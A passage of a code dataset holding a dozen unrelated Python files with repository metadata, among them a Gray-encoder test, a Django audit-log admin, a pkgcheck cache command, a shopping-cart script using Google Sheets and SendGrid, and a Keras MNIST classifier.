gray_encode(i, data_width)\n except AssertionError as e:\n log.info(\n f\"i_bin = {dut.i_bin.value}, o_gray = {dut.o_gray.value}, \"\n + \"gray_encode = \"\n + format(gray_encode(i, data_width), f\"0{data_width}b\")\n )\n raise e\n\n\ndef gray_encode(binary: int, data_width: int) -> int:\n\n gray = binary & (1 << (data_width - 1))\n for i in range(data_width - 1):\n gray |= (binary ^ (binary >> 1)) & (1 << i)\n\n return gray\n","repo_name":"bensampson5/libsv","sub_path":"tests/coders/test_gray_encoder.py","file_name":"test_gray_encoder.py","file_ext":"py","file_size_in_byte":1081,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"27"} +{"seq_id":"26598201545","text":"import json\nfrom django.contrib import admin\nfrom django import forms\nfrom django.forms import Widget\n\nfrom django.utils.safestring import mark_safe\nfrom reversion.models import Revision, Version, VERSION_ADD\nfrom django.utils.translation import ugettext_lazy as _\nfrom reversion_compare.helpers import html_diff, EFFICIENCY\n\nVersion._meta.verbose_name = _(\"Reversion\")\nVersion._meta.verbose_name_plural = _(\"Reversions\")\n\n\nclass DateRangeFilter(admin.DateFieldListFilter):\n title = _('Date range')\n template = 'admin/filters/date_range.html'\n\n def queryset(self, request, queryset):\n if self.used_parameters.has_key(self.lookup_kwarg_since):\n self.start = self.used_parameters[self.lookup_kwarg_since]\n if self.used_parameters.has_key(self.lookup_kwarg_until):\n self.end = self.used_parameters[self.lookup_kwarg_until]\n return super(DateRangeFilter, self).queryset(request, queryset)\n\n\nclass HtmlReadonly(Widget):\n def render(self, name, value, attrs=None):\n current_obj = Version.objects.filter(serialized_data=value)[0]\n html = _render_diff(current_obj)\n return mark_safe(html)\n\n\nclass AuditLogForm(forms.ModelForm):\n class Meta:\n model = Version\n widgets = {\n 'serialized_data': HtmlReadonly(),\n }\n\n\nclass AuditLogAdmin(admin.ModelAdmin):\n\n list_filter = [('revision__date_created', DateRangeFilter), 'content_type']\n search_fields = ['revision__user__username']\n list_display = ['get_date_created', 'get_user', 'content_type', 'get_diff', 'object_id', 'object', 'type']\n form = AuditLogForm\n\n class Meta:\n model = Version\n\n def get_date_created(self, obj):\n return '%s' % obj.revision.date_created\n\n get_date_created.short_description = _('Date created')\n\n def get_user(self, obj):\n return '%s' % obj.revision.user\n\n get_user.short_description = _('User')\n\n def get_diff(self, obj):\n result = \"\"\n if _is_modification(obj.type):\n result = _render_diff(obj)\n return result\n\n get_diff.short_description = _(\"Diff\")\n get_diff.allow_tags = True\n\n # def has_add_permission(self, request):\n # return False\n def lookup_allowed(self, lookup, value):\n return True\n\ndef _is_modification(action_type):\n return action_type != VERSION_ADD\n\n\ndef _render_diff(obj):\n result = \"\"\n try:\n diff = _get_diff_from_objects(obj)\n for key in diff:\n result += \"

%s

\" % key\n result += \"

\" + html_diff(diff[key]['prev'], diff[key]['current'], EFFICIENCY) + \"

\"\n except IndexError:\n result = \"\"\n except ValueError:\n result = \"\"\n return result\n\n\ndef _get_diff_from_objects(obj):\n prev_obj = \\\n Version.objects.filter(object_id_int=obj.object_id_int, type=obj.type, content_type=obj.content_type).exclude(\n serialized_data=obj.serialized_data).order_by(\n '-revision__date_created')[0]\n prev_version = json.loads(prev_obj.serialized_data)\n current_version = json.loads(obj.serialized_data)\n diff = _compare_objects(current_version[0]['fields'], prev_version[0]['fields'])\n return diff\n\n\ndef _compare_objects(current_version, prev_version):\n result = {}\n for key in current_version:\n if prev_version.has_key(key) and current_version[key] != prev_version[key]:\n result[key] = {}\n result[key]['current'] = current_version[key]\n result[key]['prev'] = prev_version[key]\n return result\n\n\nadmin.site.register(Version, AuditLogAdmin)\n","repo_name":"AttractorSoftware/django-reversion-compare-auditlog","sub_path":"auditlog/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":3590,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"69995072392","text":"#!/usr/bin/env python3\n\"\"\"\n\nReduce 0.\nOutput the number of documents to the txt file.\n\"\"\"\nimport sys\nfrom pathlib import Path\n\n\ndef main():\n doc_count = 0\n for line in sys.stdin:\n curr_count = int(line.partition(\"\\t\")[2])\n doc_count += curr_count\n print(doc_count)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"tianhaogu/Scalable-Wiki-Search-Engine","sub_path":"hadoop/inverted_index/reduce0.py","file_name":"reduce0.py","file_ext":"py","file_size_in_byte":328,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"22891771413","text":"import os\n\nfrom snakeoil.cli import arghparse\nfrom snakeoil.osutils import pjoin\n\nfrom .. import base, const\nfrom ..addons import init_addon\nfrom ..addons.caches import CachedAddon\nfrom .argparse_actions import CacheNegations\nfrom .argparsers import repo_argparser\n\ncache = arghparse.ArgumentParser(\n prog=\"pkgcheck cache\",\n description=\"perform cache operations\",\n parents=(repo_argparser,),\n docs=\"\"\"\n Various types of caches are used by pkgcheck. This command supports\n running operations on them including updates and removals.\n \"\"\",\n)\ncache.add_argument(\n \"--cache-dir\",\n type=arghparse.create_dir,\n default=const.USER_CACHE_DIR,\n help=\"directory to use for storing cache files\",\n)\ncache_actions = cache.add_mutually_exclusive_group()\ncache_actions.add_argument(\n \"-l\", \"--list\", dest=\"list_cache\", action=\"store_true\", help=\"list available caches\"\n)\ncache_actions.add_argument(\n \"-u\", \"--update\", dest=\"update_cache\", action=\"store_true\", help=\"update caches\"\n)\ncache_actions.add_argument(\n \"-R\", \"--remove\", dest=\"remove_cache\", action=\"store_true\", help=\"forcibly remove caches\"\n)\ncache.add_argument(\n \"-f\", \"--force\", dest=\"force_cache\", action=\"store_true\", help=\"forcibly update/remove caches\"\n)\ncache.add_argument(\n \"-n\", \"--dry-run\", action=\"store_true\", help=\"dry run without performing any changes\"\n)\ncache.add_argument(\"-t\", \"--type\", dest=\"cache\", action=CacheNegations, help=\"target cache types\")\n\n\n@cache.bind_pre_parse\ndef _setup_cache_addons(parser, namespace):\n \"\"\"Load all addons using caches and their argparser changes before parsing.\"\"\"\n for addon in base.get_addons(CachedAddon.caches):\n addon.mangle_argparser(parser)\n\n\n@cache.bind_early_parse\ndef _setup_cache(parser, namespace, args):\n if namespace.target_repo is None:\n namespace.target_repo = namespace.config.get_default(\"repo\")\n return namespace, args\n\n\n@cache.bind_final_check\ndef _validate_cache_args(parser, namespace):\n enabled_caches = {k for k, v in namespace.cache.items() if v}\n cache_addons = (addon for addon in CachedAddon.caches if addon.cache.type in enabled_caches)\n # sort caches by type\n namespace.cache_addons = sorted(cache_addons, key=lambda x: x.cache.type)\n\n namespace.enabled_caches = enabled_caches\n\n\n@cache.bind_main_func\ndef _cache(options, out, err):\n if options.remove_cache:\n cache_obj = CachedAddon(options)\n cache_obj.remove_caches()\n elif options.update_cache:\n for addon_cls in options.pop(\"cache_addons\"):\n init_addon(addon_cls, options)\n else:\n # list existing caches\n cache_obj = CachedAddon(options)\n repos_dir = pjoin(options.cache_dir, \"repos\")\n for cache_type in sorted(options.enabled_caches):\n paths = cache_obj.existing_caches[cache_type]\n if paths:\n out.write(out.fg(\"yellow\"), f\"{cache_type} caches: \", out.reset)\n for path in paths:\n repo = str(path.parent)[len(repos_dir) :]\n # non-path repo ids get path separator stripped\n if repo.count(os.sep) == 1:\n repo = repo.lstrip(os.sep)\n out.write(repo)\n\n return 0\n","repo_name":"pkgcore/pkgcheck","sub_path":"src/pkgcheck/scripts/pkgcheck_cache.py","file_name":"pkgcheck_cache.py","file_ext":"py","file_size_in_byte":3235,"program_lang":"python","lang":"en","doc_type":"code","stars":30,"dataset":"github-code","pt":"27"} +{"seq_id":"70453598792","text":"import sys\ninput = sys.stdin.readline\n\ne = list(input())\nstack = []\ncnt = 0\nfor i in range(len(e)):\n if e[i] == '(':\n stack.append(e[i])\n elif e[i] == ')':\n if e[i-1] == '(':\n stack.pop()\n cnt += len(stack)\n else:\n stack.pop()\n cnt+=1\n\nprint(cnt)\n","repo_name":"ssw6750/AlgorithmStudy","sub_path":"백준/자료구조/10799.py","file_name":"10799.py","file_ext":"py","file_size_in_byte":318,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"10555337451","text":"# code: gb2312 # 在串口屏中使用的字库的编码是gb2312\nfrom machine import UART # 导入串口模块\nimport time # 导入时间模块\n\nuart = UART(2, 115200) # 初始化串口2,并设置波特率为115200\n\nuart.write(b\"n0.val=700\") # 以二进制形式发送修改文本\ntime.sleep(2) # 休息两秒,此行和上面那个导入时间模块的代码删了也行\n # 加上是为了在回显中能让修改式和结束符能分行\nuart.write(b\"\\xff\\xff\\xff\") # 发送结束符\n\nuart.write(b\"n0.val=600\")\ntime.sleep(2) \nuart.write(b\"\\xff\\xff\\xff\")\n\nprint(1) # 打印个1以表结束","repo_name":"2236721325/esp32_learn","sub_path":"learn/learn-main/17.串口通信.py","file_name":"17.串口通信.py","file_ext":"py","file_size_in_byte":701,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"27"} +{"seq_id":"2413678357","text":"import re\nimport codecs\nimport markdown\nfrom mdx_gfm import GithubFlavoredMarkdownExtension as gfm\n\nallnote_tags = {\"inline-code\": \"§\", \"multiline-code\": \"§§\"}\nmarkdown_tags = {\"inline-code\": \"`\", \"multiline-code\": \"```\"}\nhtml_tags = {}\nregex = {\"is-inline-code\": r\"\" + allnote_tags[\"inline-code\"] + \"(.+)\" + allnote_tags[\"inline-code\"],\n \"process-inline-code\": r\"(\" + allnote_tags[\"inline-code\"] + \"([^\" + allnote_tags[\"inline-code\"] + \"]+)\" + allnote_tags[\"inline-code\"] + \")+\",\n \"is-multiline-code\": r\"\" + allnote_tags[\"multiline-code\"]}\n\n\n# Todo überarbeiten\ndef process_allnote(input):\n output = \"\"\n input_line_by_line = input.split(\"\\n\")\n for line in input_line_by_line:\n markup = get_mark_up(line)\n line_without_markup = trim_mark_up(line)\n if is_inline_code(line):\n line = process_inline_code(line)\n if is_multiline_code(line):\n line = process_multiline_code(line)\n if is_ordered_list(line):\n line = process_ordered_list(line)\n\n output += line + \"\\n\"\n\n return output\n\n\n# Todo überarbeiten\ndef process_sublist(input):\n output = \"\"\n input_line_by_line = input.split(\"\\n\")\n list_level_current = 0\n list_level_line = 0\n for line in input_line_by_line:\n markup = get_mark_up(line)\n line_without_markup = trim_mark_up(line)\n if is_unordered_list(line):\n list_level_line = len(markup)\n if list_level_current == list_level_line:\n if list_level_line > 1:\n line = \"
  • \" + line_without_markup + \"
  • \"\n elif is_sublist(list_level_current, list_level_line):\n if list_level_line > 1:\n line = \"\\n
      \\n\" + \"
    • \" + line_without_markup + \"
    • \"\n elif is_superlist(list_level_current, list_level_line):\n line = \"
    \\n\"\n if list_level_line > 1:\n line += \"
  • \" + line_without_markup + \"
  • \"\n else:\n line += markup + \" \" + line_without_markup\n list_level_current = list_level_line\n output += line + \"\\n\"\n\n return output\n\n\n# Todo überarbeiten\ndef process_ordered_list(line):\n markup = get_mark_up(line)\n line_without_markup = trim_mark_up(line)\n line = \"1. \" + line_without_markup\n return line + \"\\n\"\n\n\ndef process_inline_code(line):\n pattern = regex[\"process-inline-code\"]\n replace = r\"\"+markdown_tags[\"inline-code\"]+\"\\2\"+markdown_tags[\"inline-code\"]\n line = re.sub(pattern, replace, line)\n return line\n\n\ndef process_multiline_code(line):\n pattern = regex[\"is-multiline-code\"]\n replace = r\"\"+markdown_tags[\"multiline-code\"]\n line = re.sub(pattern, replace, line)\n return line\n\n\n# Todo überarbeiten\ndef is_ordered_list(line):\n return line.startswith(\"+\")\n\n\n# Todo überarbeiten\ndef is_unordered_list(line):\n return line.startswith(\"*\")\n\n\ndef is_multiline_code(line):\n pattern = regex[\"is-multiline-code\"]\n return True if re.search(pattern, line) else False\n\n\ndef is_inline_code(line):\n pattern = regex[\"is-inline-code\"]\n return True if re.search(pattern, line) else False\n\n\n# Todo überarbeiten\ndef is_sublist(list_level_current, list_level_line):\n return list_level_current < list_level_line\n\n\n# Todo überarbeiten\ndef is_superlist(list_level_current, list_level_line):\n return list_level_current > list_level_line\n\n\ndef get_mark_up(line):\n return line.split(\" \")[0]\n\n\ndef trim_mark_up(line):\n return_string = \"\"\n for token in line.split(\" \")[1:]:\n return_string += token + \" \"\n\n return return_string.rstrip()\n\n\n# Todo überarbeiten\ndef embed_in_html(input, title, stylesheet):\n html_begin = \"\\n\\n\\n \\n\" \\\n \" \" + title + \"\\n\" \\\n \" \\n\" \\\n \"\\n\\n\"\n html_end = \"\\n\"\n\n return html_begin + input + html_end\n\n\n# Todo überarbeiten\ndef main():\n input_file = codecs.open(\"input1.md\", mode=\"r\", encoding=\"utf-8\")\n output_file = codecs.open(\"output.html\", \"w\", encoding=\"utf-8\")\n\n input_text = input_file.read()\n title = input_file.name\n css = \"css/example.css\"\n\n output = process_allnote(input_text)\n\n output = markdown.markdown(output, extensions=[gfm()])\n output = embed_in_html(output, title, css)\n\n output_file.write(output)\n\n\nmain()\n","repo_name":"T0biWan/AllNote","sub_path":"sandbox-markdown.py","file_name":"sandbox-markdown.py","file_ext":"py","file_size_in_byte":4608,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"16759494170","text":"from __future__ import annotations\nfrom itertools import repeat, product\nimport time\nfrom src.day21.common import load_data_structures_from_file\nfrom src.day21.game import Game\n\n\nDIE_SIZE = 3\nDIE_ROLLS = 3\nNUM_GAME_POSITIONS = 10\nWINNING_SCORE = 21\n\n\ndef get_part_two_result(file_name: str) -> int:\n players = load_data_structures_from_file(file_name)\n die_roller = repeat(roll_combinations(DIE_SIZE, DIE_ROLLS))\n game = Game(NUM_GAME_POSITIONS, die_roller, WINNING_SCORE)\n wins = game.play(players[0], players[1])\n return max(wins.cur_player, wins.other_player)\n\n\ndef roll_combinations(die_size: int, num_rolls: int) -> list[int]:\n die_values = range(1, die_size + 1)\n all_die_rolls = [sum(x) for x in product(die_values, repeat=num_rolls)]\n return all_die_rolls\n\n\nif __name__ == \"__main__\":\n start = time.time()\n result = get_part_two_result(\"src/day21/input.txt\")\n end = time.time()\n\n print(f\"Running Time: {end - start}\")\n print(result)\n","repo_name":"tom-haug/AdventOfCode2021","sub_path":"src/day21/part02.py","file_name":"part02.py","file_ext":"py","file_size_in_byte":980,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"27"} +{"seq_id":"23430551518","text":"import random\nimport cv2\nimport numpy as np\n\n\ndef crop(img, offset):\n h1, w1, h2, w2 = offset\n return img[h1:h2, w1:w2, ...]\n\n\ndef random_crop(img, target_size):\n h, w = img.shape[0:2]\n th, tw = target_size\n h1 = random.randint(0, max(0, h - th))\n w1 = random.randint(0, max(0, w - tw))\n h2 = min(h1 + th, h)\n w2 = min(w1 + tw, w)\n return crop(img, [h1, w1, h2, w2])\n\n\ndef center_crop(img, target_size):\n h, w = img.shape[0:2]\n th, tw = target_size\n h1 = max(0, int((h - th) / 2))\n w1 = max(0, int((w - tw) / 2))\n h2 = min(h1 + th, h)\n w2 = min(w1 + tw, w)\n return crop(img, [h1, w1, h2, w2])\n\ndef pad(img, offeset, value=0):\n h1, w1, h2, w2 = offeset\n img = cv2.copyMakeBorder(\n img, h1, h2, w1, w2, cv2.BORDER_CONSTANT, value=value)\n return img\n\n\ndef rescale(img, dsize, interpolation=cv2.INTER_LINEAR):\n img = cv2.resize(\n img,\n dsize=tuple(dsize),\n interpolation = interpolation)\n return img\n\n\ndef rotation(img, degrees, interpolation=cv2.INTER_LINEAR, value=0):\n if isinstance(degrees, list):\n if len(degrees) == 2:\n degree = random.uniform(degrees[0], degrees[1])\n else:\n degree = random.choice(degrees)\n else:\n degree = degrees\n\n h, w = img.shape[0:2]\n center = (w / 2, h / 2)\n map_matrix = cv2.getRotationMatrix2D(center, degree, 1.0)\n\n img = cv2.warpAffine(\n img,\n map_matrix, (w, h),\n flags=interpolation,\n borderMode=cv2.BORDER_CONSTANT,\n borderValue=value)\n\n return img\n\ndef flip(img):\n return np.fliplr(img)\n\ndef random_flip(img):\n if random.random() < 0.5:\n return flip(img)\n else:\n return img\n","repo_name":"B-Step62/anime-GANs","sub_path":"common/utils/transforms.py","file_name":"transforms.py","file_ext":"py","file_size_in_byte":1721,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"27"} +{"seq_id":"34612878828","text":"# shopping_cart.py\nimport os\nimport textwrap\nfrom dotenv import load_dotenv\nimport gspread\nfrom oauth2client.service_account import ServiceAccountCredentials\nfrom sendgrid import SendGridAPIClient\nfrom sendgrid.helpers.mail import Mail\nfrom datetime import datetime\n\nload_dotenv()\n\ndef main():\n print(\"Shopping Cart Interface\")\n print(\"-----------------------\")\n products = GetProducts()\n print(\"Inventory synced.\")\n check = True\n while check == True:\n print()\n print(\"MAIN MENU\")\n choice = input(\"Please input 'new cart' or 'sync inventory' or 'exit': \")\n choice = choice.lower()\n if choice == \"new cart\" or choice == \"newcart\":\n cart = Cart(products)\n if cart != []:\n SubTotal = GetTotal(cart)\n Tax = TaxTotal(SubTotal)\n Total = SubTotal+Tax\n SubTotalUSD = to_usd(SubTotal)\n TaxUSD = to_usd(Tax)\n TotalUSD = to_usd(Total)\n for i in cart:\n i[\"price\"] = to_usd(float(i[\"price\"]))\n now = datetime.now()\n print()\n Receipt(cart, SubTotalUSD,TaxUSD,TotalUSD, now)\n print()\n choice2 = input(\"Would you like an email receipt? [yes, y] \")\n choice2 = choice2.lower()\n if choice2 == \"yes\" or choice2 == \"y\":\n TO_ADDRESS = input(\"Email: \")\n SendEmail(TO_ADDRESS, SubTotalUSD,TaxUSD,TotalUSD, cart, now)\n choice3 = input(\"Would you like to opt-in to the customer loyalty program? [yes, y] \")\n choice3 = choice3.lower()\n if choice3 == \"yes\" or choice3 == \"y\":\n OptIn(TO_ADDRESS)\n print(\"Email uploaded.\")\n print(\"Thank you for shopping with us today!\")\n else:\n print('Your cart is empty. Please try again.')\n elif choice == \"sync inventory\" or choice == \"syncinventory\":\n products = GetProducts()\n print(\"Inventory synced.\")\n elif choice == \"exit\":\n check = False\n else:\n print(\"Invalid selection. Please try again.\")\n\n\n\n\n\n\ndef to_usd(my_price):\n return f\"${my_price:,.2f}\" #> $12,000.71\n\ndef GetTotal(cart):\n prices = [item[\"price\"] for item in cart]\n SubTotal = sum(prices)\n return SubTotal\n\ndef TaxTotal(TotalPrice):\n TAX_RATE = os.getenv(\"TAX_RATE\", default=\"OOPS, please set env var called 'TAX_RATE'\")\n if TAX_RATE == \"OOPS, please set env var called 'TAX_RATE'\":\n print(TAX_RATE)\n else:\n Tax = TotalPrice*float(TAX_RATE)\n return Tax\n\ndef Cart(products):\n check = True\n cart = []\n ids = [str(item[\"id\"]) for item in products]\n #print(products)\n while check == True:\n selectionid = input(\"Please input a product identifier (input 'done' when finished): \")\n if selectionid == \"done\" or selectionid == \"DONE\" or selectionid == \"Done\":\n check = False\n elif selectionid in ids:\n selectionl = [item for item in products if item[\"id\"] == int(selectionid)]\n selection = selectionl[0]\n selectioncopy = selection.copy()\n if selection[\"price_per\"] == \"pound\":\n pounds = input(\"How many pounds? \")\n try:\n newprice = float(pounds)*(selection[\"price\"])\n selectioncopy[\"price\"] = newprice\n cart.append(selectioncopy)\n print(selection[\"name\"], \"added to cart.\")\n except ValueError:\n print(\"Invalid weight input.\")\n print(\"Selection not added.\")\n else:\n cart.append(selectioncopy)\n print(selection[\"name\"], \"added to cart.\")\n else:\n print(\"Invalid identifier. Please try again.\")\n #print(cart)\n return cart\n#to do: Receipt output!!!\ndef Receipt(cart, SubTotalUSD,TaxUSD,TotalUSD,now):\n path = \"./receipts\"\n ftime = now.strftime(\"%Y-%m-%d-%H-%M-%S-%f\")\n filename = ftime+\".txt\"\n with open(os.path.join(path, filename), \"w\") as file:\n print()\n n = \"\\n\"\n carlocafe = '{:^40}'.format(\"CARLONE'S\")\n print(carlocafe)\n file.write(n)\n file.write(carlocafe)\n wbste = '{:^40}'.format(\"www.carlones.com\")\n print(wbste)\n file.write(n)\n file.write(wbste)\n print()\n file.write(n)\n ctime = \"CHECKOUT TIME:\"+\" \"+now.strftime(\"%d/%m/%Y %H:%M:%S\")\n print(ctime)\n file.write(n)\n file.write(ctime)\n print()\n file.write(n)\n hitem = \"ITEM\"\n hprice = \"PRICE\"\n headers = '{:<30}{:>10}'.format(hitem,hprice)\n print(headers)\n file.write(n)\n file.write(headers)\n file.write(n)\n for i in cart:\n item = i[\"name\"]\n price = i[\"price\"]\n itemf = textwrap.wrap(item, width=30)\n counter=1\n for i in itemf:\n file.write(n)\n if counter == len(itemf):\n line = '{:<30}{:>10}'.format(i,price)\n print(line)\n file.write(line)\n else:\n print(i)\n file.write(i)\n counter+=1\n file.write(n)\n print()\n file.write(n)\n subtoth = \"SUBTOTAL\"\n line = '{:>30}{:>10}'.format(subtoth,SubTotalUSD)\n print(line)\n file.write(line)\n file.write(n)\n taxh = \"TAX\"\n line = '{:>30}{:>10}'.format(taxh,TaxUSD)\n print(line)\n file.write(line)\n file.write(n)\n toth = \"TOTAL\"\n line = '{:>30}{:>10}'.format(toth,TotalUSD)\n print(line)\n file.write(line)\n file.write(n)\n print()\n file.write(n)\n bye = \"THANKS FOR SHOPPING AT CARLONE'S\"\n print(bye)\n file.write(bye)\n print()\n\n\ndef GetProducts():\n\n print(\"Syncing Inventory...\")\n\n DOCUMENT_ID = os.getenv(\"GOOGLE_SHEET_ID\", default=\"OOPS\")\n SHEET_NAME = os.getenv(\"SHEET_NAME\", default=\"Products-2021\")\n\n CREDENTIALS_FILEPATH = os.path.join(os.path.dirname(__file__), \"auth\", \"google-credentials.json\")\n\n AUTH_SCOPE = [\n \"https://www.googleapis.com/auth/spreadsheets\", #> Allows read/write access to the user's sheets and their properties.\n \"https://www.googleapis.com/auth/drive.file\" #> Per-file access to files created or opened by the app.\n ]\n\n credentials = ServiceAccountCredentials.from_json_keyfile_name(CREDENTIALS_FILEPATH, AUTH_SCOPE)\n #print(\"CREDS:\", type(credentials)) #> \n\n client = gspread.authorize(credentials)\n #print(\"CLIENT:\", type(client)) #> \n\n #\n # READ SHEET VALUES\n #\n\n #print(\"-----------------\")\n #print(\"READING DOCUMENT...\")\n\n doc = client.open_by_key(DOCUMENT_ID)\n #print(\"DOC:\", type(doc), doc.title) #> \n\n sheet = doc.worksheet(SHEET_NAME)\n #print(\"SHEET:\", type(sheet), sheet.title)#> \n\n rows = sheet.get_all_records()\n #print(\"ROWS:\", type(rows)) #> \n # print(rows)\n # for row in rows:\n # print(row) #> \n return rows\n\ndef OptIn(TO_ADDRESS):\n\n print(\"Uploading email...\")\n DOCUMENT_ID = os.getenv(\"GOOGLE_SHEET_ID2\", default=\"OOPS\")\n SHEET_NAME = os.getenv(\"SHEET_NAME2\", default=\"Customer Emails\")\n\n CREDENTIALS_FILEPATH = os.path.join(os.path.dirname(__file__), \"auth\", \"google-credentials.json\")\n\n AUTH_SCOPE = [\n \"https://www.googleapis.com/auth/spreadsheets\", #> Allows read/write access to the user's sheets and their properties.\n \"https://www.googleapis.com/auth/drive.file\" #> Per-file access to files created or opened by the app.\n ]\n\n credentials = ServiceAccountCredentials.from_json_keyfile_name(CREDENTIALS_FILEPATH, AUTH_SCOPE)\n #print(\"CREDS:\", type(credentials)) #> \n\n client = gspread.authorize(credentials)\n #print(\"CLIENT:\", type(client)) #> \n doc = client.open_by_key(DOCUMENT_ID)\n #print(\"DOC:\", type(doc), doc.title) #> \n\n sheet = doc.worksheet(SHEET_NAME)\n #print(\"SHEET:\", type(sheet), sheet.title)#> \n\n rows = sheet.get_all_records()\n #print(\"ROWS:\", type(rows)) #> \n #print(rows)\n #for row in rows:\n # print(row) #> \n #\n # WRITE VALUES TO SHEET\n #\n # see: https://gspread.readthedocs.io/en/latest/api.html#gspread.models.Worksheet.insert_row\n\n # print(\"-----------------\")\n # print(\"NEW ROW...\")\n #\n auto_incremented_id = len(rows) + 1 # TODO: should change this to be one greater than the current maximum id value\n new_row = TO_ADDRESS\n #print(new_row)\n #\n # print(\"-----------------\")\n # print(\"WRITING VALUES TO DOCUMENT...\")\n #\n # # the sheet's insert_row() method wants our data to be in this format (see docs):\n new_values = [new_row]\n #\n # # the sheet's insert_row() method wants us to pass the row number where this will be inserted (see docs):\n next_row_number = len(rows) + 2 # number of records, plus a header row, plus one\n #\n response = sheet.insert_row(new_values, next_row_number)\n #\n #print(\"RESPONSE:\", type(response)) #> dict\n #print(response) #> {'spreadsheetId': '____', 'updatedRange': \"'Products-2021'!A9:E9\", 'updatedRows': 1, 'updatedColumns': 5, 'updatedCells': 5}\n\ndef SendEmail(TO_ADDRESS, SubTotalUSD,TaxUSD, TotalUSD, cart, now):\n ## Email code\n print(\"Sending email receipt...\")\n SENDGRID_API_KEY = os.getenv(\"SENDGRID_API_KEY\", default=\"OOPS, please set env var called 'SENDGRID_API_KEY'\")\n SENDGRID_TEMPLATE_ID = os.getenv(\"SENDGRID_TEMPLATE_ID\", default=\"OOPS, please set env var called 'SENDGRID_TEMPLATE_ID'\")\n SENDER_ADDRESS = os.getenv(\"SENDER_ADDRESS\", default=\"OOPS, please set env var called 'SENDER_ADDRESS'\")\n\n dt_string = now.strftime(\"%d/%m/%Y %H:%M:%S\")\n # this must match the test data structure\n template_data = {\n \"total_price_usd\": SubTotalUSD,\n \"tax\": TaxUSD,\n \"total_price_usd_wtax\": TotalUSD,\n \"human_friendly_timestamp\": dt_string,\n \"products\": cart\n }\n\n client = SendGridAPIClient(SENDGRID_API_KEY)\n #print(\"CLIENT:\", type(client))\n\n message = Mail(from_email=SENDER_ADDRESS, to_emails=TO_ADDRESS)\n message.template_id = SENDGRID_TEMPLATE_ID\n message.dynamic_template_data = template_data\n #print(\"MESSAGE:\", type(message))\n\n try:\n response = client.send(message)\n print(\"Email receipt sent.\")\n # print(\"RESPONSE:\", type(response))\n # print(response.status_code)\n # print(response.body)\n # print(response.headers)\n\n except Exception as err:\n print(type(err))\n print(err)\n print(\"Email not sent.\")\n\nmain()\n","repo_name":"carlodwek/shopping-cart","sub_path":"shopping_cart.py","file_name":"shopping_cart.py","file_ext":"py","file_size_in_byte":11223,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"27"} +{"seq_id":"17118988457","text":"# -*- coding: utf-8 -*-\r\n\r\nimport numpy as np\r\nfrom keras.datasets import mnist\r\n\r\n# example of loading the mnist dataset\r\n(train_images, train_labels), (test_images, test_labels) = mnist.load_data()\r\n\r\n# normilize the images \r\ntrain_images = train_images/255\r\ntest_images = test_images/255\r\n\r\n# Flatten the images .Flatten each 28*28 image into 784 (28*28) dim vector\r\n# to pass into the neural network\r\ntrain_images = train_images.reshape((-1,784))\r\ntest_images = test_images.reshape((-1,784))\r\n\r\n#neural network axcept the 10 dim vector for labels then\r\nfrom keras.utils import to_categorical\r\ntrain_labels = to_categorical(train_labels)\r\ntest_labels = to_categorical(test_labels)\r\n\r\n\r\nfrom keras.models import Sequential\r\nfrom keras.layers import Dense\r\n\r\nclassifier = Sequential()\r\nclassifier.add(Dense(32,init='uniform',activation='relu',input_dim=(784)))\r\nclassifier.add(Dense(32,init='uniform',activation='relu'))\r\nclassifier.add(Dense(10,activation='softmax'))\r\n\r\nclassifier.compile(\r\n optimizer='adam',\r\n loss='categorical_crossentropy',\r\n metrics = ['accuracy']\r\n )\r\n\r\nclassifier.fit(\r\n train_images,\r\n train_labels,\r\n batch_size=32,\r\n epochs = 10\r\n )\r\n\r\n# Evaluate the model\r\nclassifier.evaluate(test_images,test_labels)\r\n\r\n# predict the test data\r\nprediction = classifier.predict(test_images[5:10])\r\nprint(np.argmax(prediction,axis=1))\r\nprint(test_labels[5:10])\r\n\r\n# ploting the first 5 test images\r\nimport matplotlib.pyplot as plt\r\n\r\nfor i in range(5,10):\r\n first_image = test_images[i]\r\n first_image = np.array(first_image,dtype='float')\r\n pixels = first_image.reshape((28,28))\r\n plt.imshow(pixels)\r\n plt.show()\r\n\r\n\r\n# save the model\r\nclassifier.save_weights('model.h5')\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"NitishBhatt07/Deep-Learning","sub_path":"Deep learning/practice/digit_dataset_ann.py","file_name":"digit_dataset_ann.py","file_ext":"py","file_size_in_byte":1779,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"8308592778","text":"\"\"\"\nThis module contains a base class which implements simple image\n\"\"\"\nimport cv2\nimport pixcat\nfrom PIL import Image\n\n\nclass Img():\n \"\"\"This class is capable of storing and managing the image\"\"\"\n\n def __init__(self, *, img=None, path=None):\n \"\"\"\n Initialize the class\n\n :param img np.array: raw image\n :param path str: path to image\n \"\"\"\n if img:\n self.img = img\n elif path:\n self.load_img(path)\n else:\n raise RuntimeError(\"You should provide the image\")\n\n def load_img(self, path: str):\n \"\"\"Load image from the disk\"\"\"\n self.img = cv2.cvtColor(cv2.imread(path), cv2.COLOR_BGR2RGB)\n\n # pylint: disable=too-many-arguments\n def mouse_callback(self, event, x, y, flags, param):\n \"\"\"Callback for using with cv2.imshow\"\"\"\n\n def update(self, *, img=None, method=None):\n img = img if img is not None else self.img\n cv2.imshow('image', img)\n\n def show(self, *, img=None, method=None):\n \"\"\"Display the image\n\n This function displays images in a various ways\n\n Args:\n method (string, optional): kitty, jupyter or None\n \"\"\"\n img = img if img is not None else self.img\n if img is None:\n return None\n if method == \"kitty\":\n pixcat.Image(Image.fromarray(img)).thumbnail(\n 512).show(align=\"left\")\n elif method == \"jupyter\":\n return Image.fromarray(img)\n else:\n cv2.namedWindow('image')\n 